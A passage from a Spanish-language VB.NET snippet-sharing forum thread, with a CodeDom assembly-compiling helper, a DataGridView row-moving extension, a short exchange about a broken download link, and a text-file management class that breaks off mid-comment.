  346.        ''' <summary>
  347.        ''' Compiles a .Net assembly as executable or link library.
  348.        ''' </summary>
  349.        ''' <param name="codeProvider">The code provider.</param>
  350.        ''' <param name="targetAssembly">The kind of assembly to generate.</param>
  351.        ''' <param name="sourceFile">The source file to compile.</param>
  352.        ''' <param name="targetFile">The target file to create.</param>
  353.        ''' <param name="resources">The embedded resources (if any).</param>
  354.        ''' <param name="referencedAssemblies">The referenced assemblies (if any).</param>
  355.        ''' <param name="mainClassName">The code to compile (if any).</param>
  356.        ''' <exception cref="Exception">The current CodeDomProvider does not support resource embedding.</exception>
  357.        ''' <returns>The results of the compiler operation.</returns>
  358.        Public Shared Function CompileAssembly(ByVal codeProvider As CodeDomProvider,
  359.                                               ByVal targetAssembly As TargetAssembly,
  360.                                               ByVal sourceFile As String,
  361.                                               ByVal targetFile As String,
  362.                                               Optional ByVal resources As IEnumerable(Of String) = Nothing,
  363.                                               Optional ByVal referencedAssemblies As IEnumerable(Of String) = Nothing,
  364.                                               Optional ByVal mainClassName As String = "MainNamespace.MainClass") As CompilerResults
  365.  
  366.            ' Set a default assembly reference.
  367.            If referencedAssemblies Is Nothing Then
  368.                referencedAssemblies = {"System.dll"}
  369.            End If
  370.  
  371.            Dim cp As New CompilerParameters
  372.            With cp
  373.  
  374.                ' Set compiler arguments.
  375.                Select Case targetAssembly
  376.  
  377.                    Case CodeDomUtil.TargetAssembly.Gui
  378.                        .CompilerOptions = "/optimize /target:winexe"
  379.  
  380.                    Case Else
  381.                        .CompilerOptions = "/optimize"
  382.  
  383.                End Select
  384.  
  385.                ' Generate an exe or a dll.
  386.                .GenerateExecutable = (targetAssembly <> CodeDomUtil.TargetAssembly.Dll)
  387.  
  388.                ' Save the assembly as a physical file.
  389.                .GenerateInMemory = False
  390.  
  391.                ' Generate debug information (pdb).
  392.                .IncludeDebugInformation = False
  393.  
  394.                ' Set the assembly file name to generate.
  395.                .OutputAssembly = targetFile
  396.  
  397.                ' Add an assembly reference.
  398.                .ReferencedAssemblies.AddRange(referencedAssemblies.ToArray)
  399.  
  400.                ' Set a temporary files collection.
  401.                ' The TempFileCollection stores the temporary files generated during a build in the current directory.
  402.                .TempFiles = New TempFileCollection(tempdir:=IO.Path.GetTempPath(), keepFiles:=True)
  403.  
  404.                ' Set whether to treat all warnings as errors.
  405.                .TreatWarningsAsErrors = False
  406.  
  407.                ' Set the level at which the compiler should start displaying warnings.
  408.                ' 0 - Turns off emission of all warning messages.
  409.                ' 1 - Displays severe warning messages.
  410.                ' 2 - Displays level 1 warnings plus certain, less-severe warnings, such as warnings about hiding class members.
  411.                ' 3 - Displays level 2 warnings plus certain, less-severe warnings, such as warnings about expressions that always evaluate to true or false.
  412.                ' 4 - Displays all level 3 warnings plus informational warnings. This is the default warning level at the command line.
  413.                .WarningLevel = 3
  414.  
  415.                ' Set the embedded resource file of the assembly.
  416.                If codeProvider.Supports(GeneratorSupport.Resources) AndAlso (resources IsNot Nothing) Then
  417.                    .EmbeddedResources.AddRange(resources.ToArray)
  418.  
  419.                ElseIf (Not codeProvider.Supports(GeneratorSupport.Resources)) AndAlso (resources IsNot Nothing) Then
  420.                    Throw New Exception(message:="The current CodeDomProvider does not support resource embedding.")
  421.  
  422.                End If
  423.  
  424.                ' Specify the class that contains the main method of the executable.
  425.                If codeProvider.Supports(GeneratorSupport.EntryPointMethod) Then
  426.                    .MainClass = mainClassName
  427.                End If
  428.  
  429.            End With
  430.  
  431.            Return codeProvider.CompileAssemblyFromFile(cp, {sourceFile})
  432.  
  433.        End Function
  434.  
  435.    End Class
  436.  


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2015, 13:03 pm
¿Habeis sentido alguna vez la necesidad de mover una o varias filas de un DataGridView preservando el valor de algunas celdas en el transcurso?, pues yo si, así que comparto este código rehusable que me parece bastante sofisticado para llevar a cabo esa tarea, soporta multi-selección de filas, pero es para manipular directamente las filas de un DataGridViev, no el datasource.

Ejemplo de uso:
Código
  1. Me.DataGridView1.MoveSelectedRows(DataGridViewMoveRowDirection.Up)
Código
  1. Me.DataGridView1.MoveSelectedRows(DataGridViewMoveRowDirection.Up, {0, 2})

Código fuente:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 16-June-2015
  4. ' ***********************************************************************
  5. ' <copyright file="DataGridViewExtensions.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Option Statements "
  11.  
  12. Option Strict On
  13. Option Explicit On
  14. Option Infer Off
  15.  
  16. #End Region
  17.  
  18. #Region " Imports "
  19.  
  20. Imports System.Runtime.CompilerServices
  21. Imports System.Windows.Forms
  22.  
  23. #End Region
  24.  
  25. ''' <summary>
  26. ''' Contains two methods for moving DataRows up/down.
  27. ''' You could easily tweak the code to work for say a ListBox.
  28. ''' </summary>
  29. ''' <remarks></remarks>
  30. Public Module DataGridViewExtensions
  31.  
  32. #Region " Enumerations "
  33.  
  34.    ''' <summary>
  35.    ''' Specifies a direction to move the rows.
  36.    ''' </summary>
  37.    Public Enum DataGridViewMoveRowDirection As Integer
  38.  
  39.        ''' <summary>
  40.        ''' Move row up.
  41.        ''' </summary>
  42.        Up = 0
  43.  
  44.        ''' <summary>
  45.        ''' Move row down.
  46.        ''' </summary>
  47.        Down = 1
  48.  
  49.    End Enum
  50.  
  51. #End Region
  52.  
  53. #Region " Public Methods "
  54.  
  55.    ''' <summary>
  56.    ''' Moves up or down the selected row(s) of the specified <see cref="DataGridView"/>.
  57.    ''' </summary>
  58.    ''' <param name="sender">The <see cref="DataGridView"/>.</param>
  59.    ''' <param name="direction">The row-move direction.</param>
  60.    <DebuggerStepThrough()>
  61.    <Extension()>
  62.    Public Sub MoveSelectedRows(ByVal sender As DataGridView,
  63.                                ByVal direction As DataGridViewMoveRowDirection)
  64.  
  65.        DoRowsMove(sender, direction)
  66.  
  67.    End Sub
  68.  
  69.    ''' <summary>
  70.    ''' Moves up or down the selected row(s) of the specified <see cref="DataGridView"/>.
  71.    ''' </summary>
  72.    ''' <param name="sender">The <see cref="DataGridView"/>.</param>
  73.    ''' <param name="direction">The row-move direction.</param>
  74.    ''' <param name="preserveCellsIndex">A sequence of cell indexes to preserve its cell values when moving the row(s).</param>
  75.    <DebuggerStepThrough()>
  76.    <Extension()>
  77.    Public Sub MoveSelectedRows(ByVal sender As DataGridView,
  78.                                ByVal direction As DataGridViewMoveRowDirection,
  79.                                ByVal preserveCellsIndex As IEnumerable(Of Integer))
  80.  
  81.        DoRowsMove(sender, direction, preserveCellsIndex)
  82.  
  83.    End Sub
  84.  
  85. #End Region
  86.  
  87. #Region " Private Methods "
  88.  
  89.    ''' <summary>
  90.    ''' Moves up or down the selected row(s) of the specified <see cref="DataGridView"/>.
  91.    ''' </summary>
  92.    ''' <param name="dgv">The <see cref="DataGridView"/>.</param>
  93.    ''' <param name="direction">The row-move direction.</param>
  94.    ''' <param name="preserveCellsIndex">Optionally, a sequence of cell indexes to preserve its cell values when moving the row(s).</param>
  95.    <DebuggerStepThrough()>
  96.    Private Sub DoRowsMove(ByVal dgv As DataGridView,
  97.                           ByVal direction As DataGridViewMoveRowDirection,
  98.                           Optional ByVal preserveCellsIndex As IEnumerable(Of Integer) = Nothing)
  99.  
  100.        ' Keeps tracks of a cell value to preserve, to swap them when moving rows.
  101.        Dim oldCellValue As Object
  102.        Dim newCellValue As Object
  103.  
  104.        ' Short row collection reference.
  105.        Dim rows As DataGridViewRowCollection = dgv.Rows
  106.  
  107.        ' Keeps track of the current row.
  108.        Dim curRow As DataGridViewRow
  109.  
  110.        ' The maximum row index.
  111.        Dim lastRowIndex As Integer =
  112.            If(dgv.AllowUserToAddRows,
  113.               rows.Count - 2,
  114.               rows.Count - 1)
  115.  
  116.        ' List of hash codes of the selected rows.
  117.        Dim selectedRows As New List(Of Integer)
  118.  
  119.        ' Get the hash codes of the selected rows
  120.        For i As Integer = 0 To (rows.Count - 1)
  121.            If (rows(i).IsNewRow = False) AndAlso (rows(i).Selected) Then
  122.                selectedRows.Add(rows(i).GetHashCode)
  123.                rows(i).Selected = False
  124.            End If
  125.        Next i
  126.  
  127.        ' Move the selected rows up or down.
  128.        Select Case direction
  129.  
  130.            Case DataGridViewMoveRowDirection.Up
  131.                For i As Integer = 0 To lastRowIndex
  132.  
  133.                    If Not rows(i).IsNewRow Then
  134.  
  135.                        If (selectedRows.Contains(rows(i).GetHashCode)) AndAlso
  136.                           (i - 1 >= 0) AndAlso
  137.                           (Not selectedRows.Contains(rows(i - 1).GetHashCode)) Then
  138.  
  139.                            curRow = rows(i)
  140.                            rows.Remove(curRow)
  141.                            rows.Insert(i - 1, curRow)
  142.  
  143.                            If preserveCellsIndex IsNot Nothing Then
  144.  
  145.                                For Each cellIndex As Integer In preserveCellsIndex
  146.                                    oldCellValue = curRow.Cells(cellIndex).Value
  147.                                    newCellValue = rows(i).Cells(cellIndex).Value
  148.  
  149.                                    rows(i).Cells(cellIndex).Value = oldCellValue
  150.                                    curRow.Cells(cellIndex).Value = newCellValue
  151.                                Next cellIndex
  152.  
  153.                            End If
  154.  
  155.                        End If
  156.  
  157.                    End If
  158.  
  159.                Next i
  160.  
  161.            Case DataGridViewMoveRowDirection.Down
  162.                For i As Integer = lastRowIndex To 0 Step -1
  163.  
  164.                    If Not rows(i).IsNewRow Then
  165.  
  166.                        If (selectedRows.Contains(rows(i).GetHashCode)) AndAlso
  167.                           (i + 1 <= lastRowIndex) AndAlso
  168.                           (Not selectedRows.Contains(rows(i + 1).GetHashCode)) Then
  169.  
  170.                            curRow = rows(i)
  171.                            rows.Remove(curRow)
  172.                            rows.Insert(i + 1, curRow)
  173.  
  174.                            If preserveCellsIndex IsNot Nothing Then
  175.  
  176.                                For Each cellIndex As Integer In preserveCellsIndex
  177.                                    oldCellValue = curRow.Cells(cellIndex).Value
  178.                                    newCellValue = rows(i).Cells(cellIndex).Value
  179.  
  180.                                    rows(i).Cells(cellIndex).Value = oldCellValue
  181.                                    curRow.Cells(cellIndex).Value = newCellValue
  182.                                Next cellIndex
  183.  
  184.                            End If
  185.  
  186.                        End If
  187.  
  188.                    End If
  189.  
  190.                Next i
  191.  
  192.        End Select
  193.  
  194.        ' Restore selected rows.
  195.        For i As Integer = 0 To (rows.Count - 1)
  196.  
  197.            If Not rows(i).IsNewRow Then
  198.                rows(i).Selected = selectedRows.Contains(rows(i).GetHashCode)
  199.            End If
  200.  
  201.        Next i
  202.  
  203.    End Sub
  204.  
  205. #End Region
  206.  
  207. End Module

Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: nolasco281 en 19 Junio 2015, 06:27 am
Hola Eleкtro.

Disculpas las molestias pero el primer link de la pag 1 de snippets que es de mediafire no funciona ni tampoco el de la pagina 36 Actualizada la colección de snippets con un total de 544 Snippets
talvez puedas compartirlos en otro compila o volver a subir ese no habia teniado el gusto de ver el tema y me parece muy bueno.

Saludos.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Junio 2015, 07:03 am
Hola Eleкtro.

Disculpas las molestias pero el primer link de la pag 1 de snippets que es de mediafire no funciona ni tampoco el de la pagina 36 Actualizada la colección de snippets con un total de 544 Snippets
talvez puedas compartirlos en otro compila o volver a subir ese no habia teniado el gusto de ver el tema y me parece muy bueno.

Saludos.

Hmmm... antes de nada, ¡Gracias por avisar!, pero estoy preparando una actualización importante, hay muchos snippets antiguos que necesitan una refactorización completa, otros es mejor eliminarlos o adaptarlos para otros propósitos, y en fin, un lio, prefiero no resubir nada de momento hasta que no "limpie" todos los snippets, y son unos 700 (me está llevando meses xD).

De todas formas, aquí puedes descargar una versión más reciente de la colección de snippets:

Cita de: http://foro.elhacker.net/series_peliculas_musica_juegos_programas/microsoft_visual_studio_2013_ultimate_resource_pack_actualizado_09oct2014-t422732.0.html
http://www.mediafire.com/download/34moxtwloovqw9a/Visual+Studio+CodeSnippet+Collection.exe (http://www.mediafire.com/download/34moxtwloovqw9a/Visual+Studio+CodeSnippet+Collection.exe)

(si prefieres no usar el exe, puedes desempaquetar su contenido con la aplicación InnoUnp para InnoSetup)

Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Junio 2015, 10:22 am
Una Class para manipular archivos de texto.

Diagrama de clase:
(http://i.imgur.com/JJiAms1.png)

Ejemplo de uso:
Código
  1.        Using txtFile As New TextfileStream("C:\File.txt", Encoding.Default)
  2.  
  3.            txtFile.Lock()
  4.  
  5.            txtFile.Lines.Add("Test")
  6.            txtFile.Lines(0) = "Hello World!"
  7.            txtFile.Save()
  8.  
  9.            Dim lineIndex As Integer
  10.            Dim lineCount As Integer = txtFile.Lines.Count
  11.            Dim textFormat As String =
  12.                Environment.NewLine &
  13.                String.Join(ControlChars.NewLine,
  14.                            From line As String In txtFile.Lines
  15.                            Select String.Format("{0}: {1}",
  16.                            Interlocked.Increment(lineIndex).ToString(New String("0"c, lineCount.ToString.Length)), line))
  17.  
  18.            Console.WriteLine(String.Format("FilePath: {0}", txtFile.Filepath))
  19.            Console.WriteLine(String.Format("Encoding: {0}", txtFile.Encoding.WebName))
  20.            Console.WriteLine(String.Format("Lines   : {0}", textFormat))
  21.  
  22.        End Using
  23.  

Código fuente:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 18-June-2015
  4. ' ***********************************************************************
  5. ' <copyright file="TextfileStream.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Using txtFile As New TextfileStream("C:\File.txt")
  13. '
  14. '    txtFile.Lock()
  15. '
  16. '    txtFile.Lines.Add("Test")
  17. '    txtFile.Lines(0) = "Hello World!"
  18. '    txtFile.Save()
  19. '
  20. '    Dim lineIndex As Integer
  21. '    Dim lineCount As Integer = txtFile.Lines.Count
  22. '    Dim textFormat As String =
  23. '        Environment.NewLine &
  24. '        String.Join(ControlChars.NewLine,
  25. '                    From line As String In txtFile.Lines
  26. '                    Select String.Format("{0}: {1}",
  27. '                    Interlocked.Increment(lineIndex).ToString(New String("0"c, lineCount.ToString.Length)), line))
  28. '
  29. '    Console.WriteLine(String.Format("FilePath: {0}", txtFile.Filepath))
  30. '    Console.WriteLine(String.Format("Encoding: {0}", txtFile.Encoding.WebName))
  31. '    Console.WriteLine(String.Format("Lines   : {0}", textFormat))
  32. '
  33. 'End Using
  34.  
  35. #End Region
  36.  
  37. #Region " Option Statements "
  38.  
  39. Option Strict On
  40. Option Explicit On
  41. Option Infer Off
  42.  
  43. #End Region
  44.  
  45. #Region " Imports "
  46.  
  47. Imports Microsoft.Win32.SafeHandles
  48. Imports System
  49. Imports System.Collections.Generic
  50. Imports System.ComponentModel
  51. Imports System.IO
  52. Imports System.Linq
  53. Imports System.Text
  54.  
  55. #End Region
  56.  
  57. #Region " Textfile "
  58.  
  59. ''' <summary>
  60. ''' Reads and manages the contents of a textfile.
  61. ''' It encapsulates a <see cref="System.IO.FileStream"/> to access the textfile.
  62. ''' </summary>
  63. Public NotInheritable Class TextfileStream : Implements IDisposable
  64.  
  65. #Region " Properties "
  66.  
  67.    ''' ----------------------------------------------------------------------------------------------------
  68.    ''' <summary>
  69.    ''' Gets the textfile path.
  70.    ''' </summary>
  71.    ''' ----------------------------------------------------------------------------------------------------
  72.    ''' <value>
  73.    ''' The textfile path.
  74.    ''' </value>
  75.    ''' ----------------------------------------------------------------------------------------------------
  76.    Public ReadOnly Property Filepath As String
  77.        Get
  78.            Return Me.filepathB
  79.        End Get
  80.    End Property
  81.    ''' <summary>
  82.    ''' (Backing field)
  83.    ''' The textfile path.
  84.    ''' </summary>
  85.    Private ReadOnly filepathB As String
  86.  
  87.    ''' ----------------------------------------------------------------------------------------------------
  88.    ''' <summary>
  89.    ''' Gets the textfile <see cref="Encoding"/>.
  90.    ''' </summary>
  91.    ''' ----------------------------------------------------------------------------------------------------
  92.    ''' <value>
  93.    ''' The textfile <see cref="Encoding"/>.
  94.    ''' </value>
  95.    ''' ----------------------------------------------------------------------------------------------------
  96.    Public ReadOnly Property Encoding As Encoding
  97.        Get
  98.            Return Me.encodingB
  99.        End Get
  100.    End Property
  101.    ''' <summary>
  102.    ''' (Backing field)
  103.    ''' The textfile <see cref="Encoding"/>.
  104.    ''' </summary>
  105.    Private ReadOnly encodingB As Encoding = Encoding.Default
  106.  
  107.    ''' ----------------------------------------------------------------------------------------------------
  108.    ''' <summary>
  109.    ''' Gets or sets the textfile lines.
  110.    ''' </summary>
  111.    ''' ----------------------------------------------------------------------------------------------------
  112.    ''' <value>
  113.    ''' The textfile lines.
  114.    ''' </value>
  115.    ''' ----------------------------------------------------------------------------------------------------
  116.    Public Property Lines As TexfileLines
  117.        Get
  118.            Return Me.linesB
  119.        End Get
  120.        Set(ByVal value As TexfileLines)
  121.            Me.linesB = value
  122.        End Set
  123.    End Property
  124.    ''' <summary>
  125.    ''' (Backing field)
  126.    ''' The textfile lines.
  127.    ''' </summary>
  128.    Private linesB As TexfileLines
  129.  
  130.    ''' ----------------------------------------------------------------------------------------------------
  131.    ''' <summary>
  132.    ''' Gets the <see cref="System.IO.FileStream"/> instance that exposes a <see cref="System.IO.Stream"/> around the textfile.
  133.    ''' </summary>
  134.    ''' ----------------------------------------------------------------------------------------------------
  135.    ''' <value>
  136.    ''' The <see cref="System.IO.FileStream"/> instance.
  137.    ''' </value>
  138.    ''' ----------------------------------------------------------------------------------------------------
  139.    Private ReadOnly Property fs As FileStream
  140.        Get
  141.            Return Me.fsB
  142.        End Get
  143.    End Property
  144.    ''' <summary>
  145.    ''' (Backing Field)
  146.    ''' The <see cref="System.IO.FileStream"/> instance that exposes a <see cref="System.IO.Stream"/> around the textfile.
  147.    ''' </summary>
  148.    Private ReadOnly fsB As FileStream
  149.  
  150.    ''' ----------------------------------------------------------------------------------------------------
  151.    ''' <summary>
  152.    ''' Gets a <see cref="Microsoft.Win32.SafeHandles.SafeFileHandle"/> object that represents the operating system file handle of the textfile.
  153.    ''' </summary>
  154.    ''' ----------------------------------------------------------------------------------------------------
  155.    ''' <value>
  156.    ''' A <see cref="Microsoft.Win32.SafeHandles.SafeFileHandle"/> object that represents the operating system file handle of the textfile.
  157.    ''' </value>
  158.    ''' ----------------------------------------------------------------------------------------------------
  159.    Public ReadOnly Property FileHandle As SafeFileHandle
  160.        Get
  161.            Return Me.fs.SafeFileHandle
  162.        End Get
  163.    End Property
  164.    ''' <summary>
  165.    ''' (Backing Field)
  166.    ''' A <see cref="Microsoft.Win32.SafeHandles.SafeFileHandle"/> object that represents the operating system file handle of the textfile.
  167.    ''' </summary>
  168.    Private ReadOnly fileHandleB As SafeFileHandle
  169.  
  170. #End Region
  171.  
  172. #Region " Sub-Classes "
  173.  
  174.    ''' <summary>
  175.    ''' Defines a <see cref="System.Collections.Generic.List(Of String)"/> that contains the text-lines of a textfile.
  176.    ''' </summary>
  177.    Partial Public NotInheritable Class TexfileLines : Inherits List(Of String)
  178.  
  179. #Region " Properties "
  180.  
  181.        ''' ----------------------------------------------------------------------------------------------------
  182.        ''' <summary>
  183.        ''' Gets the number of blank elements actually contained in the <see cref="System.Collections.Generic.List(Of T)"/>.
  184.        ''' </summary>
  185.        ''' ----------------------------------------------------------------------------------------------------
  186.        ''' <value>
  187.        ''' The number of blank elements actually contained in the <see cref="System.Collections.Generic.List(Of T)"/>.
  188.        ''' </value>
  189.        ''' ----------------------------------------------------------------------------------------------------
  190.        Public ReadOnly Property CountBlank As Integer
  191.            Get
  192.                Return (From line As String In Me
  193.                        Where String.IsNullOrEmpty(line) OrElse
  194.                              String.IsNullOrWhiteSpace(line)).Count
  195.            End Get
  196.        End Property
  197.  
  198.        ''' ----------------------------------------------------------------------------------------------------
  199.        ''' <summary>
  200.        ''' Gets the number of non-blank elements actually contained in the <see cref="System.Collections.Generic.List(Of T)"/>.
  201.        ''' </summary>
  202.        ''' ----------------------------------------------------------------------------------------------------
  203.        ''' <value>
  204.        ''' The number of non-blank elements actually contained in the <see cref="System.Collections.Generic.List(Of T)"/>.
  205.        ''' </value>
  206.        ''' ----------------------------------------------------------------------------------------------------
  207.        Public ReadOnly Property CountNonBlank As Integer
  208.            Get
  209.                Return (From line As String In Me
  210.                        Where Not String.IsNullOrEmpty(line) AndAlso
  211.                              Not String.IsNullOrWhiteSpace(line)).Count
  212.            End Get
  213.        End Property
  214.  
  215. #End Region
  216.  
  217. #Region " Constructors "
  218.  
  219.        ''' ----------------------------------------------------------------------------------------------------
  220.        ''' <summary>
  221.        ''' Initializes a new instance of the <see cref="TexfileLines"/> class.
  222.        ''' </summary>
  223.        ''' ----------------------------------------------------------------------------------------------------
  224.        Public Sub New()
  225.        End Sub
  226.  
  227.        ''' ----------------------------------------------------------------------------------------------------
  228.        ''' <summary>
  229.        ''' Initializes a new instance of the <see cref="TexfileLines"/> class.
  230.        ''' </summary>
  231.        ''' ----------------------------------------------------------------------------------------------------
  232.        ''' <param name="lines">
  233.        ''' The text-lines.
  234.        ''' </param>
  235.        ''' ----------------------------------------------------------------------------------------------------
  236.        Public Sub New(ByVal lines As IEnumerable(Of String))
  237.  
  238.            Me.AddRange(lines)
  239.  
  240.        End Sub
  241.  
  242. #End Region
  243.  
  244. #Region " Public Methods "
  245.  
  246.        ''' ----------------------------------------------------------------------------------------------------
  247.        ''' <summary>
  248.        ''' Randomizes the elements of the <see cref="System.Collections.Generic.List(Of T)"/>.
  249.        ''' </summary>
  250.        ''' ----------------------------------------------------------------------------------------------------
  251.        ''' <returns>
  252.        ''' An <see cref="IEnumerable(Of String)"/> that contains the randomized elements.
  253.        ''' </returns>
  254.        ''' ----------------------------------------------------------------------------------------------------
  255.        <DebuggerStepThrough>
  256.        Public Function Randomize() As IEnumerable(Of String)
  257.  
  258.            Dim rand As New Random
  259.  
  260.            Return From line As String In Me
  261.                   Order By rand.Next
  262.  
  263.        End Function
  264.  
  265.        ''' ----------------------------------------------------------------------------------------------------
  266.        ''' <summary>
  267.        ''' Removes the elements at the specified indexes of the <see cref="System.Collections.Generic.List(Of T)"/>.
  268.        ''' </summary>
  269.        ''' ----------------------------------------------------------------------------------------------------
  270.        ''' <param name="indexes">
  271.        ''' The zero-based indexes of the elements to remove.
  272.        ''' </param>
  273.        ''' ----------------------------------------------------------------------------------------------------
  274.        ''' <exception cref="IndexOutOfRangeException">
  275.        ''' </exception>
  276.        ''' ----------------------------------------------------------------------------------------------------
  277.        <DebuggerStepThrough>
  278.        Public Overloads Sub RemoveAt(ByVal indexes As IEnumerable(Of Integer))
  279.  
  280.            Dim lineCount As Integer = Me.Count
  281.  
  282.            Select Case indexes.Max
  283.  
  284.                Case Is < 0, Is > lineCount
  285.                    Throw New IndexOutOfRangeException()
  286.  
  287.                Case Else
  288.                    Dim tmpRef As IEnumerable(Of String) =
  289.                        Me.Select(Function(line As String, index As Integer)
  290.                                      Return New With
  291.                                             {
  292.                                                 Key .line = line,
  293.                                                 Key .index = index + 1
  294.                                             }
  295.                                  End Function).
  296.                           Where(Function(con) Not indexes.Contains(con.index)).
  297.                           Select(Function(con) con.line)
  298.  
  299.                    Me.Clear()
  300.                    Me.AddRange(tmpRef)
  301.                    tmpRef = Nothing
  302.  
  303.            End Select
  304.  
  305.        End Sub
  306.  
  307.        ''' ----------------------------------------------------------------------------------------------------
  308.        ''' <summary>
  309.        ''' Removes all leading and trailing occurrences of a set of characters from all the elements of the <see cref="System.Collections.Generic.List(Of T)"/>.
  310.        ''' </summary>  
  311.        ''' ----------------------------------------------------------------------------------------------------
  312.        ''' <param name="trimChars">
  313.        ''' An array of Unicode characters to remove.
  314.        ''' If <paramref name="trimChars"></paramref> is <c>Nothing</c> or an empty array, Unicode white-space characters are removed instead.
  315.        ''' </param>
  316.        ''' ----------------------------------------------------------------------------------------------------
  317.        ''' <returns>
  318.        ''' The <see cref="IEnumerable(Of String)"/> that remains after all occurrences of the specified characters are removed from the start and the end of the elements.
  319.        ''' </returns>
  320.        ''' ----------------------------------------------------------------------------------------------------
  321.        <DebuggerStepThrough>
  322.        Public Function Trim(Optional ByVal trimChars As Char() = Nothing) As IEnumerable(Of String)
  323.  
  324.            Return From line As String In Me
  325.                   Select line.Trim(trimChars)
  326.  
  327.        End Function
  328.  
  329.        ''' ----------------------------------------------------------------------------------------------------
  330.        ''' <summary>
  331.        ''' Removes all leading occurrences of a set of characters from all the elements of the <see cref="System.Collections.Generic.List(Of T)"/>.
  332.        ''' </summary>
  333.        ''' ----------------------------------------------------------------------------------------------------
  334.        ''' <param name="trimChars">
  335.        ''' An array of Unicode characters to remove.
  336.        ''' If <paramref name="trimChars"></paramref> is <c>Nothing</c> or an empty array, Unicode white-space characters are removed instead.
  337.        ''' </param>
  338.        ''' ----------------------------------------------------------------------------------------------------
  339.        ''' <returns>
  340.        ''' The <see cref="IEnumerable(Of String)"/> that remains after all occurrences of the specified characters are removed from the start of the elements.
  341.        ''' </returns>
  342.        ''' ----------------------------------------------------------------------------------------------------
  343.        <DebuggerStepThrough>
  344.        Public Function TrimStart(Optional ByVal trimChars As Char() = Nothing) As IEnumerable(Of String)
  345.  
  346.            Return From line As String In Me
  347.                   Select line.TrimStart(trimChars)
  348.  
  349.        End Function
  350.  
  351.        ''' ----------------------------------------------------------------------------------------------------
  352.        ''' <summary>
  353.        ''' Removes all trailing occurrences of a set of characters from all the elements of the <see cref="System.Collections.Generic.List(Of T)"/>.
  354.        ''' </summary>
  355.        ''' ----------------------------------------------------------------------------------------------------
  356.        ''' <param name="trimChars">
  357.        ''' An array of Unicode characters to remove.
  358.        ''' If <paramref name="trimChars"></paramref> is <c>Nothing</c> or an empty array, Unicode white-space characters are removed instead.
  359.        ''' </param>
  360.        ''' ----------------------------------------------------------------------------------------------------
  361.        ''' <returns>
  362.        ''' The <see cref="IEnumerable(Of String)"/> that remains after all occurrences of the specified characters are removed from the end of the elements.
  363.        ''' </returns>
  364.        ''' ----------------------------------------------------------------------------------------------------
  365.        <DebuggerStepThrough>
  366.        Public Function TrimEnd(Optional ByVal trimChars As Char() = Nothing) As IEnumerable(Of String)
  367.  
  368.            Return From line As String In Me
  369.                   Select line.TrimEnd(trimChars)
  370.  
  371.        End Function
  372.  
  373. #End Region
  374.  
  375.    End Class
  376.  
  377. #End Region
  378.  
  379. #Region " Constructors "
  380.  
  381.    ''' ----------------------------------------------------------------------------------------------------
  382.    ''' <summary>
  383.    ''' Prevents a default instance of the <see cref="TextfileStream"/> class from being created.
  384.    ''' </summary>
  385.    ''' ----------------------------------------------------------------------------------------------------
  386.    Private Sub New()
  387.    End Sub
  388.  
  389.    ''' ----------------------------------------------------------------------------------------------------
  390.    ''' <summary>
  391.    ''' Initializes a new instance of the <see cref="TextfileStream"/> class.
  392.    ''' </summary>
  393.    ''' ----------------------------------------------------------------------------------------------------
  394.    ''' <param name="filepath">
  395.    ''' The textfile path.
  396.    ''' If the path doesn't exists, the file will be created.
  397.    ''' </param>
  398.    '''
  399.    ''' <param name="encoding">
  400.    ''' The file encoding used to read the textfile.
  401.    ''' If <paramref name="encoding"></paramref> value is <c>Nothing</c>, an attempt to detect the encoding will be realized,
  402.    ''' if the attempt to detect the file encoding fails, <see cref="Encoding.Default"/> will be used.
  403.    ''' </param>
  404.    ''' ----------------------------------------------------------------------------------------------------
  405.    ''' <exception cref="FileNotFoundException">
  406.    ''' File not found.
  407.    ''' </exception>
  408.    ''' ----------------------------------------------------------------------------------------------------
  409.    <DebuggerStepThrough>
  410.    Public Sub New(ByVal filepath As String,
  411.                   Optional ByVal encoding As Encoding = Nothing)
  412.  
  413.        If Not File.Exists(filepath) Then
  414.            Throw New FileNotFoundException(message:="File not found.", fileName:=filepath)
  415.  
  416.        Else
  417.            Me.filepathB = filepath
  418.            Me.encodingB = encoding
  419.  
  420.            If Me.encodingB Is Nothing Then
  421.                Me.encodingB = Me.GetEncoding
  422.            End If
  423.  
  424.            Me.linesB = New TexfileLines(File.ReadAllLines(Me.filepathB, Me.encodingB))
  425.            Me.fsB = New FileStream(filepath, FileMode.OpenOrCreate)
  426.  
  427.        End If
  428.  
  429.    End Sub
  430.  
  431. #End Region
  432.  
  433. #Region " Public Methods "
  434.  
  435.    ''' ----------------------------------------------------------------------------------------------------
  436.    ''' <summary>
  437.    ''' Prevents other processes from reading or writing to the textfile.
  438.    ''' </summary>
  439.    ''' ----------------------------------------------------------------------------------------------------
  440.    <DebuggerStepThrough>
  441.    Public Sub Lock()
  442.  
  443.        Me.fsB.Lock(0, Me.fsB.Length)
  444.  
  445.    End Sub
  446.  
  447.    ''' ----------------------------------------------------------------------------------------------------
  448.    ''' <summary>
  449.    ''' Allows access by other processes to read or write to a textfile that was previously locked.
  450.    ''' </summary>
  451.    ''' ----------------------------------------------------------------------------------------------------
  452.    <DebuggerStepThrough>
  453.    Public Sub Unlock()
  454.  
  455.        Me.fsB.Unlock(0, Me.fsB.Length)
  456.  
  457.    End Sub
  458.  
  459.    ''' ----------------------------------------------------------------------------------------------------
  460.    ''' <summary>
  461.    ''' Closes the current stream and releases any resources (such as sockets and file handles) associated with the current stream.
  462.    ''' </summary>
  463.    ''' ----------------------------------------------------------------------------------------------------
  464.    <DebuggerStepThrough>
  465.    Public Sub Close()
  466.        Me.fsB.Close()
  467.    End Sub
  468.  
  469.    ''' ----------------------------------------------------------------------------------------------------
  470.    ''' <summary>
  471.    ''' Save the lines of the current textfile, in the current textfile.
